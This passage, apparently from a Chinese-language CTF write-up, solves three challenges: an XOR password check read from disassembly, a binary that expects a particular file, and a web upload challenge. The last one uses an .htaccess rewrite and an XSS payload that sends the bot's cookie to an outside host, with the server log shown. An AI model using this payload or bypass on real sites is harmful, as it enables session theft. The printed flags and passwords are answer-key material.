   0x00005555555550ea:  lea    rax,[rip+0xf20]        # 0x555555556011
   0x00005555555550f1:  mov    rdi,rax
   0x00005555555550f4:  call   0x555555555010 <puts@plt>
   0x00005555555550f9:  mov    edi,0x0
   0x00005555555550fe:  call   0x555555555050 <exit@plt>
   0x0000555555555103:  add    DWORD PTR [rbp-0x28],0x1
   0x0000555555555107:  cmp    DWORD PTR [rbp-0x28],0xf
   0x000055555555510b:  jle    0x5555555550c7
   0x000055555555510d:  lea    rax,[rip+0xf04]        # 0x555555556018
   0x0000555555555114:  mov    rdi,rax
   0x0000555555555117:  call   0x555555555010 <puts@plt>
   0x000055555555511c:  mov    DWORD PTR [rbp-0x24],0x0
   0x0000555555555123:  jmp    0x55555555515f
   0x0000555555555125:  mov    eax,DWORD PTR [rbp-0x24]
   0x0000555555555128:  cdqe
   0x000055555555512a:  lea    rdx,[rip+0x2eef]        # 0x555555558020
   0x0000555555555131:  movzx  ecx,BYTE PTR [rax+rdx*1]
   0x0000555555555135:  mov    eax,DWORD PTR [rbp-0x24]
   0x0000555555555138:  cdq
   0x0000555555555139:  shr    edx,0x1c
   0x000055555555513c:  add    eax,edx
   0x000055555555513e:  and    eax,0xf
   0x0000555555555141:  sub    eax,edx
   0x0000555555555143:  cdqe
   0x0000555555555145:  movzx  eax,BYTE PTR [rbp+rax*1-0x20]
   0x000055555555514a:  xor    ecx,eax
   0x000055555555514c:  mov    eax,DWORD PTR [rbp-0x24]
   0x000055555555514f:  cdqe
   0x0000555555555151:  lea    rdx,[rip+0x2ec8]        # 0x555555558020
   0x0000555555555158:  mov    BYTE PTR [rax+rdx*1],cl
   0x000055555555515b:  add    DWORD PTR [rbp-0x24],0x1
   0x000055555555515f:  mov    eax,DWORD PTR [rbp-0x24]
   0x0000555555555162:  cmp    eax,0x24
   0x0000555555555165:  jbe    0x555555555125
   0x0000555555555167:  lea    rax,[rip+0x2eb2]        # 0x555555558020
   0x000055555555516e:  mov    rsi,rax
   0x0000555555555171:  lea    rax,[rip+0xea9]        # 0x555555556021
   0x0000555555555178:  mov    rdi,rax
   0x000055555555517b:  mov    eax,0x0
   0x0000555555555180:  call   0x555555555030 <printf@plt>
   0x0000555555555185:  mov    eax,0x0
   0x000055555555518a:  mov    rdx,QWORD PTR [rbp-0x8]
   0x000055555555518e:  sub    rdx,QWORD PTR fs:0x28
   0x0000555555555197:  je     0x55555555519e
   0x0000555555555199:  call   0x555555555020 <__stack_chk_fail@plt>
   0x000055555555519e:  leave
   0x000055555555519f:  ret
```

能看見程式把用戶輸入的 password 開始做 XOR 0xab 之後拿去驗證 cmp 0x555555558000 的資料

```
gef➤  x/gx 0x555555558000
0x555555558000: 0xe0c2c0ded1c2c0ea
gef➤  x/gx 0x555555558008
0x555555558008: 0x9b9e9b9acac5c5ca
```

![image](https://hackmd.io/_uploads/HkecdSFcyll.png)

```
password > AkizukiKanna1050
Correct!
Here is your flag: THJCC{whY_1s_mY_m@1n_funC710n_eMptY}
```


### Demon Summoning

一開始的程式無法召喚惡魔


```
./chal.exe
Demon: Human, are you calling me? [y/n]y
Demon: Human, you are not worthy to summon me. Bring offerings if you wish to return.
```

從逆向來看，程式會驗證 `AbyssalCircle/Ancient_Parchment` `AbyssalCircle/Melon_bun` 文件

`Ancient_Parchment` 是題目給的檔案

而 `AbyssalCircle/Melon_bun` 猜測是要自己創建的檔案

而在最下面有段程式顯示要驗證 `AbyssalCircle/Melon_bun` 的檔案內容是否為 "Satania's favorite"，

![image](https://hackmd.io/_uploads/Sk3RLKckge.png)

寫入文件

![image](https://hackmd.io/_uploads/B1vjvYcJxe.png)

確定檔案位置後即可成功召喚

```
./chal.exe
Demon: Human, are you calling me? [y/n]y
Summoning success
```

![demon](https://hackmd.io/_uploads/H1UbuFcJlx.png)

### iCloud

普通的 XSS 攻擊，取得 bot 的 Cookie(Flag)

從原始碼可看見上傳 php 檔案無法執行，且能執行的僅能在資料夾的目錄

但 html 前端仍可正常使用，先寫入一段 proxy 的 HTML

```html
<!DOCTYPE html>
<html>
    <head>
        <script>
            fetch(`https://example.com/mydns?flag=${document.cookie}`);
        </script>
    </head>
</html>
```

之後前往 http://chal.ctf.scint.org/uploads/<id> 之後只能夠顯示目錄裡面有的檔案 `index.html`
    
為了讓進目錄直接預覽 html，所以上傳 .htaccess 覆蓋目錄設定
    
```
RewriteEngine On

RewriteRule ^$ ../<id>/index.html [L]
```

上傳之後直接進到 `http://chal.ctf.scint.org/uploads/<id2>` 則能直接顯示 `http://chal.ctf.scint.org/uploads/<id>/index.html` 的內容

之後呼叫 bot 即可直接 xss

```
python test1.py
 * Serving Flask app 'test1'
 * Debug mode: off
WARNING: This is a development server. Do not use it in a production deployment. Use a production WSGI server instead.
 * Running on all addresses (0.0.0.0)
 * Running on http://127.0.0.1:7999
Press CTRL+C to quit
127.0.0.1 - - [27/Apr/2025 00:54:09] "GET / HTTP/1.1" 200 -
127.0.0.1 - - [27/Apr/2025 00:54:09] "GET /favicon.ico HTTP/1.1" 404 -
127.0.0.1 - - [27/Apr/2025 00:55:28] "GET /?flag=flag=THJCC{hTaCc3s5_c@n_al3rt(`Pwned!`)} HTTP/1.1" 200 -
```